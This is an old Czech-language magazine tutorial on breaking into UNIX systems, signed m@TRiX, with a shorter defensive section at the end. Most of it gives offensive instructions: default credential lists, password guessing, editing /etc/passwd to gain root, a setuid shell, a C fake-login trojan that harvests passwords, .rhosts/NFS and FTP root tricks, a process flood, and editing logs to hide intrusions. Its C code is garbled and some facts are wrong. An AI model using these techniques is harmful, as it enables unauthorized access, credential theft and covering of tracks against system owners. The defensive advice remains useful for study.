Tématem tohoto článku je fenomén zvaný hacking (česky nejspíš pronikání ochranou počítačových systémů), a to konkrétně na operačním systému UNIX, který je v současnosti bezkonkurenčně nejpoužívanějším systémem v sítích.
Rád bych sestavil jakýsi jednoduchý úvod do hackingu, který by vás měl stručně seznámit s tím, co to vlastně hacking je, jak a k čemu se používá a hlavně jak se proti němu bránit. Předpokladem je alespoň uživatelská znalost UNIXu. V žádném případě nečekejte naprosto vyčerpávající informace, na to bychom potřebovali mnohem více místa.
Samozřejmě budu uvádět konkrétní příklady, seznámím vás s tím, jak může hacker využít nejznámější díry a chyby UNIXu ve spojení s Internetem. Je jenom na vás, jak tyto informace využijete. Musíte si uvědomit jednu podstatnou maličkost: Většina zde popsaných aktivit bude při reálném použití považována za vysoce ilegální, takže pokud byste to chtěli sami vyzkoušet a nebyli byste dost opatrní, v nejlepším případě vás vyhodí ze školy, do jejíhož serveru budete pronikat, v tom horším poznáte kvalitu našich vězeňských zařízení...
Ale teď už k věci:
NĚCO Z HISTORIE UNIX byl vyvinut v 60. letech firmou AT&T jako operační systém pro programátory, i když jeho autoři nedávno prohlásili, že původně šlo jenom o žert. Nicméně se UNIX časem stal velmi oblíbeným pro své tři základní vlastnosti: Vysoká stabilita (žádné Windows 95), preemptivní multitasking (běh několika programů ve stejném okamžiku) a jednoduchá přenositelnost (většina kódu je v C). Existuje mnoho variant UNIXu, ale všechny mají stejný základ a používají většinou stejné (nebo podobné) příkazy. Já budu vycházet z tzv. UNIXu Systému 5, který je základem většiny verzí pro rozdílné platformy - SunOS (pracovní stanice SUN), IRIX (SGI), ULTRIX (některé VAXy), BSDI...
JDEME NA TO Pokud se pokusíte o přístup na kterýkoliv systém UNIXu (server, gateway, lokální OS apod.), systém vás přivítá následovně:
SunOS 4.0 (popř. IRIX, BSDI apod.)
login:
Pokud se vám na monitoru objeví tohle, jde pravděpodobně o UNIX. V praxi totiž mnoho BBS nasazuje jakési UNIX-mimikry, aby zmátly příchozího (z bezpečnostních důvodů). Dostali jste se tak na přihlašovací prompt a systém od vás požaduje zadání existujícího konta. Jeho název se běžně skládá z 8 (nebo méně) ASCII znaků. Následuje další prompt, kam je nutné vypsat správné heslo. Pokud cokoliv zadáte špatně, obdržíte hlášení login incorrect a můžete logovací proces zkusit znovu (záleží na konkrétním systému). Automaticky se ale provede zápis do seznamu logovacích chyb, což je nepříjemné. Pokud správce objeví 100 neúspěšných pokusů o nalogování z konkrétní cizí domény, okamžitě pozná, že se děje něco nekalého.
JAK ZJISTIT KONKRÉTNÍ KONTO A HESLO? Na UNIXu existují velmi nebezpečné (z hlediska ochrany) příkazy, jako rwho, whoin, who a finger, které vám řeknou, kdo je aktuálně nalogovaný na cílovém serveru. Pokud provedete finger na již konkrétního uživatele, dozvíte se spoustu užitečných věcí (data posledního nalogování, domovský adresář apod.). Pak už stačí jenom zjistit správné vstupní heslo - o tom je vlastně celý hacking. Naštěstí jsou lidé bytostmi hodně línými, takže chyby a laxní přístup lidského faktoru pomohou hackerovi nejčastěji. Na jednom z velkých serverů legendárního Michiganského Technického Institutu (MIT) se mi jednou podařilo tohle:
login: system password: system
a objevil se uživatelský prompt! Jak je vidět, na sítích je možné všechno a je kolikrát až s podivem, jak nedbale jsou některé systémy zajištěny! Proto často pomohou hesla z následující tabulky. (Některá konta jsou dokonce přístupná bez hesla...)
konto heslo
adm adm
bin bin (viz níže)
daemon daemon
demo demo
games/play games/play
guest guest
install install
root root (velmi zřídka)
sys/system/bin sys/system/bin
sysman sysman
test test
user user
uucp uucp
Někdy je dokonce volně přístupné konto reboot, které (jak už název napovídá) provádí restart celého systému - osobně to považuji za velice podivné...
Pokud žádné z výše uvedených kont (hesel) nevede k úspěchu, pak přichází čas nejtěžšího a nejdéle trvajícího problému - zjistit heslo jiným způsobem. U začátečníků bude spíš záležet na představivosti a fantazii, pokročilí hackeři si vypomohou nějakou fintou, popřípadě snifferem nebo trojským koněm (viz níže).
Nic není tak černé, jak to na první pohled vypadá. Lidé si totiž nechtějí pamatovat bezpečná hesla typu kT5ui23, ale volí mnohem jednodušeji zapamatovatelná. Pokud například někde objevíte existenci konta josef, pak vyzkoušejte hesla typu josef, josef1, 1josef apod. Pokud dotyčného odněkud znáte, zkuste konkrétní věci z jeho života - rodné číslo, adresu bydliště, oblíbenou značku auta, jméno milenky, název firmy/instituce, zaměřte se na zájmy (Je milovníkem díla J. R. R. Tolkiena? Zkuste glum apod.) Zvláště u lidí, kteří nemají s počítači mnoho společného, je možné najít heslo i jiným způsobem - zkuste osobní diář nebo zásuvku pod terminálem. Nevěřili byste, jak dokáže být lidské plémě naivní, co se týká bezpečnosti!
Důležité je si v této chvíli uvědomit, že každé heslo je na UNIXu zakódováno algoritmem DES (knihovna volaná C) a není je prakticky možné dekódovat! Pokud si na svém kontě zvolíte nové heslo, je okamžitě zakódováno. Při každém dalším přístupu na účet je vkládané heslo také zakódováno a porovnáváno se zakódovanou verzí hesla originálního. To byl od tvůrců UNIXu velmi chytrý tah. Existují sice průlomové programy, ale ty fungují na principu systematického zkoušení různých známých hesel podle seznamu. Známé jsou programy CrackerJack, UNIXCrack apod. K dispozici jsou verze pro všechny systémy (UNIX, MSDOS, Windows, IRIX, MAC...)
JSME UVNITŘ! ALE CO TEĎ? Primárním cílem každého hackera je získání nejvyšších priorit na prolomeném serveru - tzv. root-level. Tím, že se hacker dostane na osobní účet běžného uživatele, většinou nic nezískáte. Normální uživatel má totiž podstatně omezená práva, a to ještě v přesně vymezeném prostoru. Naopak
root je jakýmsi bohem systému - může totiž cokoliv. Má přístup ke všem souborům, ke všem kontům, může konta vytvářet nebo rušit, určuje pravomoci apod. Tady POZOR! Na UNIXu je hierarchie priorit a pravomocí velmi přesně definovaná. Nejenomže exitují základní přístupová pravidla do systému samotného, ale zároveň i ke každé tzv. skupině, k podadresářům i jednotlivým souborům, přičemž každý z nich obsahuje tzv. uživatelský bit, který určuje majitele toho kterého souboru (podadresáře, skupiny). Majitelem je většinou ten, kdo soubor vytvořil nebo zkopíroval. Pokud budete měnit něčí profile soubor, nezapomeňte tuto informaci změnit, protože při změně souboru se okamžitě stanete jeho majitelem a bylo by velmi jednoduché vás vypátrat. Systém privilegií vypadá v praxi následovně. Vezměme kupříkladu imaginární soubor file, který si prohlédneme příkazem:
$ ls -l file
r-xrwxr josef root 12345 June 10 file
Prvních devět znaků je informace o přístupových právech, josef je majitelem souboru ve skupině root, 12345 je délka souboru v bajtech, June 10 je datum poslední aktualizace a file je název našeho souboru. Nejdůležitějších je oněch prvních 9 znaků, z nichž první tři určují přístupová práva majitele, znaky s pořadovými čísly 4-6 práva celé skupiny (v tomto případě root) a poslední tři znaky práva kohokoliv jiného. r znamená právo čtení, w právo zápisu a x právo spouštění.
DŮLEŽITÉ SOUBORY Pokud se už hacker dostane do systému, určitě se poohlédne po následujících souborech, které by ho měly zajímat, protože jednak získá potřebné informace a na druhou stranu si díky nim může zařídit bezpečnost (mazání stop apod.)
/etc/passwd
nejdůležitější soubor na UNIXu! Obsahuje přístupové heslo (hesla)
/etc/group
zde najde seznam skupin v systému, většinou má následující tvar:
jménoskupiny:heslo:IDskupiny:uživateléskupiny
/etc/hosts
seznam hostů systému, tzn. lidí, kteří mají povolen přístup z jiné domény bez nutnosti znalosti hesla. To je velmi důležitá informace, pokud se jedná o přístup do velkých systémů pomocí rlogin, telnet, rsh apod.
/usr/adm/loginlog
aktualizovaný seznam logování do systému. V některých případech se zápis provádí až po opuštění serveru. Tento soubor (pokud k němu má přístup) musí hacker vždy editovat a zahladit tak stopy po své přítomnosti v systému.
/usr/adm/errlog
seznam všech chyb objevivších se při logování. Po úspěšném nabourání do ochrany je třeba vždy editovat i tento soubor a ukrýt tak své nezdařené pokusy!
/usr/mail/konto
sem systém ukládá poštu došlou pro uživatele s kontem konto.
/etc/shadow
obsahuje stínovaný soubor /etc/passwd. Někdy se totiž soubor s heslem z bezpečnostních důvodů přesunuje někam jinam, aby se k němu ztížil přístup. Tomu se říká stínování (shadowing). Stínování se může provádět s kterýmkoliv důležitým souborem, takže pozor...
KONTO BIN Na UNIXu obvykle existuje konto bin, které je sice kontem uživatelským, nicméně velice důležitým pro každého hackera. Majitel konta bin je totiž zároveň majitelem většiny binárních souborů v systému a zároveň i majitelem souboru /etc/passwd (popř. jeho stínované podoby). Znamená to, že pokud konto bin vlastní soubor s heslem, pak může editovat /etc/passwd a zařídit si tak root-level. Tady je jeden ze způsobů, jak to provést:
$ ed passwd zde se objeví číslo oznamující množství variant hesla * a josef::0:0:Josef Novák:/:/bin/sh stiskněte CTRL+D * w * q
Tímto jsou z konta bin vytvořena root-level privilegia pro konto josef, které vlastní Josef Novák. Celkem jednoduché, že?
ZŘIZOVÁNÍ NOVÉHO ÚČTU Po průniku do systému je třeba zařídit si vlastní konto, které se stane jakýmsi prvním výškovým táborem pro další postup. Nikdy totiž nevíte, jestli se cesta, kterou jste pronikli poprvé, nezmění nebo zcela nezanikne. Existuje spousta programů, které umějí vytvářet nové účty. Takovou utilitou samozřejmě hned nedokážete vytvořit konto s root-level, jde o to někde začít. Při zřizování svého ilegálního konta je třeba nejprve prohlédnout konta již existující. Pokud se například názvy všech kont budou skládat pouze ze dvou písmen (iniciály majitele), správce by si jistě rychle všimnul konta s názvem hacker. Na většině vysokých škol se konta studentů označují písmenem x na začátku (např. xnovak). Užitečné bývá používání ženských krycích jmen, protože správce nebude předpokládat, že by hacker mohl být žena (tedy nic proti ženám :-).
NASTAVENÍ IDENTIFIKACE EXISTUJÍCÍHO UŽIVATELE Změna privilegií již existujícího konta je nejběžnějším způsobem získání root-level. Provádí se pomocí tzv. UID shellu, který je schopen měnit uživatelský bit (viz výše) souborů, adresářů a skupin. Znamená to, že pokud rozjedete UID shell, který vlastní root, dostanete stejná privilegia jako root. Pomocí bin se vytvoří konto např. jn patřící Janě Novákové s přístupem k /etc/passwd. Pak stačí provést toto:
# cp /bin/sh /usr/jn/runme # chmod a+s /usr/jn/runme
Tím by se hacker nalogoval do systému na konto jn a pak by provedl:
$ runme #
a ještě je třeba udělat:
$ id uid=104(jn) gid=50(user); ještě nemá root-level
$ runme ;doplní pro euid #id uid=104(jn) gid=50(user) euid=0(root) ;a je to!
VIRY, SNIFFERY A TROJSKÉ KONĚ Viry jsou pro hackera na UNIXu prakticky nepoužitelné, protože fungují jenom v případě, že je spouští root. Hackerovi jde ale o to, aby root-level získal. Samozřejmě existuje možnost využití pro průnik do jiného serveru ze systému s root-level.
Sniffer je program (ne počítač, HitchHikere), který je schopen hlídat určitý systém a uchovávat o něm informace (kdo se loguje, jaké je jeho heslo, kde jsou skryté soubory). Sniffery jsou většinou dosti složité programy, takže pro začátečníky nepoužitelné. Nejlépe se sniffuje ethernet.
Do třetice tu máme tzv. trojské koně. Trojský kůň (zkráceně trojan) je rutina, která se přilepí na jiný program tak, aby byla propašována do systému. Tady je jednoduchý příklad trojského koně v C, který je schopen přečíst konto a zadané heslo. Spouští se nejlépe z profile oběti (po napojení se přes rlogin). Je také třeba vytvořit sebedestruktivní skript, který trojana po použití odstraní! Tato utilita simuluje logovací proces a vypíše jakékoliv nesmyslné chybové hlášení...
# include main () { char *jmeno[80]; char *heslo[20]; file string; printf(login: ); gets (jmeno); heslo = getpass(Password: ); string = fopen(/adresar/soubor,a); fprint(string,Uzivatel:(%s), heslo[%s]n,jmeno,heslo); fclose(string); printf(System Overflow! Please try again...n); exit(1); }
VYUŽITÍ ZNÁMÝCH CHYB UNIXU Namísto dlouhého vysvětlování prakticky předvedu tři způsoby, které využívají chyby UNIXu ve spojení s Internetem. Upozorňuji, že v novějších verzích operačních systémů už mohou být chyby odstraněny.
1) Získání přístupu prostřednictvím rlogin:
Hacker bude chtít například proniknout na server sranda.cz, kde zjistí konto pavel.
% showmount -e sranda.cz # mount sranda.cz:/export/pavel /pavel # cd /pavel # ls -lag # echo pavel:x:10001:1:lámané konto:/: >> /etc/passwd # ls -lag # su pavel % echo mujserver.cz >> pavel/.rhosts % rlogin -l pavel sranda.cz
2) Získání root-level na cizím serveru z bin konta:
% rsh sranda.cz csh -i % ls -ldg /etc % cd /etc % mv passwd stare.heslo % (echo pavel::0:1:root shell:/:/bin/sh; cat stare.heslo) > passwd stiskněte CTRL+D % rlogin sranda.cz -| pavel
3) Získání root-level pomocí FTP:
% ftp -n % open ftp.sranda.cz ftp> quote user ftp ftp> quote cwd ~root ftp> quote pass ftp ftp> ls -al (pokud funguje, jste root)
BAVÍME SPRÁVCE SÍTĚ Následují dva způsoby, kterými lze zaručeně pobavit správce serveru tak, že opovážlivce nadosmrti prokleje. Zvlášť, když dotyčný po sobě nedokáže zahladit stopy.
a) Zpomalení celého systému se provede tak, že se nejprve vytvoří soubor zpomal1, který bude obsahovat:
w & source zpomal1
Pak se vytvoří soubor zpomal2, obsahující:
source zpomal1 & source zpomal2
a spustí se soubor zpomal2. Tak vznikne 25 na pozadí běžících procesů, které zpomalí i opravdu rychlé počítače.
b) Zahlcení systému nesmazatelnými nebo opravdu těžko smazatelnými soubory:
$ cat -filename
a dovnitř vtipálek napíše větu typu Tohle, vole, nesmažeš! Kdokoliv se pokusí (i root!) tento soubor smazat (rm) nebo přejmenovat (mv), tak neuspěje.
-filename je totiž parametr obou zmiňovaných příkazů, takže vždy obdrží jenom chybové hlášení...
OCHRANA? Je možné se účinně bránit proti vniknutí do systému? Hned pro začátek byste si měli uvědomit, že proti elitnímu hackerovi obrana prakticky neexistuje. Světové sítě jsou v současnosti natolik nepřehledné a zbytečně složité, že pravděpodobnost nalezení díry se reálně rovná jistotě. Průnik nejlepších hackerů je jenom a pouze otázkou času. Otázka účinné obrany tak zůstává otevřená jen u ostatních průnikářů - průměrných hackerů, začátečníků a nejrůznějších zvědavců...
Jak už jsem jednou uvedl, nejčastěji využívanými cestami průniku jsou ty vzniklé chybami samotného lidského faktoru. Počítač sám o sobě chybu většinou neudělá - pouze ve spojení s člověkem. Mluvím o nedokonale či špatně nainstalovaných operačních systémech a obslužných programech, opomenutí v primární ochraně dat, lenosti obsluhy apod.
Nuže k věci: Hacker většinou útočí ze dvou základních důvodů. Nejčastěji chce ovládnout napadaný počítač získáním co nejvyšších priorit, nejlépe samozřejmě root. Nedělá to za účelem zisku - opravdovému hackerovi jde spíš o vlastní potěšení, o získání prestiže, o zábavu. Tímto způsobem nejspíš nebudete nijak poškozeni, možná jen ubyde něco volného místa na discích. Zato druhý důvod je mnohem nebezpečnější - hacker míří za určitým přesně definovaným cílem. Mohou to být nákresy čipů, databáze, textové materiály, informace o osobách, institucích apod. V tomto případě hacker primárně nehledá přístup k nejvyšším privilegiím, ale zkoumá cestu průniku k hledaným datům. Jde mu o konkrétní adresáře a soubory. Proto budu na ochranu systémů nahlížet ze dvou stran - z pohledu správce serveru a na druhou stranu z pohledu vlastníka konta.
SPRÁVCE Jak už samotný název napovídá, správce je na systému proto, aby jej spravoval. Znamená to, že se stará o programové vybavení, o zřizování/rušení účtů, určování privilegií apod. Správce je dohlížitelem primární ochrany systému. Pokud on dokonale neplní svoji funkci, je běžný uživatel konta prakticky ztracen a hacker naopak v ráji...
Úplným základem je bezchybně fungující hardware a software systému. Musíte zvolit dostatečnou kapacitu pro účely, které zamýšlíte. Mnoho systémů je například možné shodit díky zaplněným diskovým polím. Instalujte kvalitní operační systémy - nejlépe verze UNIXu - v co nejnovějších verzích. Každá ochrana má své chyby, ale čím vyšší verze, tím vyšší pravděpodobnost, že bude většina much vychytána. Navíc se informace o existujících chybách velmi rychle šíří na hackerských BBSkách a internetových uzlech (Hideout, HackerNet, Hackers Heaven, Warez Unlimited...).
Tyto informace se nejenom rychle šíří, ale hlavně pilně využívají. Podle vlastních zkušeností vím, že drahé komerční systémy jsou mnohdy několikanásobně hůř zabezpečeny než jednoduché shareware utility vytvořené schopnými nadšenci. Používejte firewalls, kombinujte filtry vpouštějící pouze majitele určitých IP adres, používejte několik (kvalitních) stupňů ochrany najednou! Pokud nemáte dostatečné zkušenosti, přenechte instalaci těchto produktů odborníkům, nebudete toho litovat. Stačí malé opomenutí v nastavení parametrů a vynaložené investice jsou ztraceny. Používejte i vlastních zbraní hackerů - existuje spousta hackerských utilit, které umějí samy hledat díry v systémech (SATAN, CRAWL nebo můj vlastní MORPHOSE). Není na škodu si tyto utility opatřit a kontrolovat s nimi ochranu vlastního serveru...
Ale co konkrétně by měl správce systému dělat pro jeho bezpečnost? Čím složitější systém, tím horší ochrana. Pokud jste správce, měl byste pravidelně dělat tohle:
- všímejte si čehokoliv neobvyklého (prudký úbytek volného místa na discích, neúspěšné pokusy o logování, ztráty souborů apod.). Dbejte na kontrolu účtů root a bin. Sledujte běžící procesy.
- vytvořte si vlastní databázi vámi založených kont a občas zkontrolujte, jestli se na systému neobjevilo ilegální konto (dá se provádět automaticky softwarově ze stínované databáze)
- nastavte všechny připojené počítače jako terminály a systém vždy bootujte pouze z hlavního počítače, který bude mít zakázané zapisování (read only)
- prohlížejte soubory obsahující chybová hlášení při logování, vytvářejte limity pro uživatele, přesně definujte privilegia i pro adresáře a soubory. Prohlédněte občas i soubory obsahující seznam logování a používání jednotlivých shellů (clog, sulog, shlog...)
- důležité soubory přesuňte na lokální (zvenku nepřístupnou) síť, velice k ní ztížíte přístup...
- sledujte změny v rhosts, netrc apod. Kontrolujte používání FTP a TFTP, jejich časování na určitou dobu apod.
- jednotlivým uživatelům pokud možno nevkládejte důležité informace do popisu zjistitelného příkazem FINGER...
- aktualizujte systém, informace, prohlížejte všechna zákoutí serveru
- průměrní hackeři za sebou zanechávají spoustu stop, stačí si jich všímat...
UŽIVATEL KONKRÉTNÍHO KONTA
Bezpečí konkrétního vlastníka konkrétního konta závisí z 90% na správci systému. Těch zbývajících 10% tvoří jakousi nadstavbu ochrany a mohou vám někdy pomoci, pokud správce selže:
- zvolte si heslo, které se v žádném případě nepodobá názvu konta, vyvarujte se lehce zjistitelných informací z vašeho života. Používejte zkomoleniny, cizí slova, kombinujte malá i velká písmena, čísla...
- hesla si nezapisujte do osobních diářů ani na nejrůznější útržky papíru, které budou ležet někde v šuplíku...
- důležité soubory okamžitě přesunujte buď na lokální síť, nejlépe ale na separovaný harddisk/disketu
- všímejte si čehokoliv podivného - změn v logovacím procesu, chybových hlášení, procesů běžících na pozadí... Máte nastavené FTP na určitou hodinu? Změnila se privilegia k určitým souborům nebo adresářům? Ztratili jste přístup k souborům, nebo máte naopak přístup k mnohem více souborům? Vždy informujte správce, může se jednat o stopy po hackerově průniku nebo pokusu o průnik!!!
- kontrolujte obsahy systémových adresářů a souborů ve vaší schránce - mail, rhosts, netrc apod. Jakékoliv změny v jejich obsahu hlaste správci.
- sledujte, zda se ve vaší schránce neobjevují nebo naopak záhadně neztrácejí soubory...
- nejdůležitější rada (opravdu nad zlato!) :
BUĎTE OSTRAŽITÍ A NIC NEPODCEŇUJTE!!!!
ZÁVĚREM Pokud jste správcem serveru univerzity nebo mailboxů několika soukromých firem/majitelů, pak se útoku elitního hackera nemusíte příliš obávat, protože vám ničím neuškodí - váš server je pro něj bezvýznamný -, nanejvýš si u vás zřídí ilegální konto, které stejně neobjevíte. Na ostatní průnikáře platí výše zmiňované preventivní postupy, žádná všeobecná a účinná koncepce ochrany neexistuje. Proto bděte. Hackeři si mezi sebou přejí oblíbenou mantru MAY NO TRACER CATCH YOU! Všem sysopům bych naopak přál: MAY NO HACKER BREAK THRU...
Přeji hezkou zábavu! Pokud budete mít zájem se se mnou spojit, pošlete email do redakce Živlu, určitě mi ho předají. V Čechách bývám k zastižení na Lianě a Infimě, IRC nenávidím...
m@TRiX a.k.a. Trauma/ROYAL is logging off...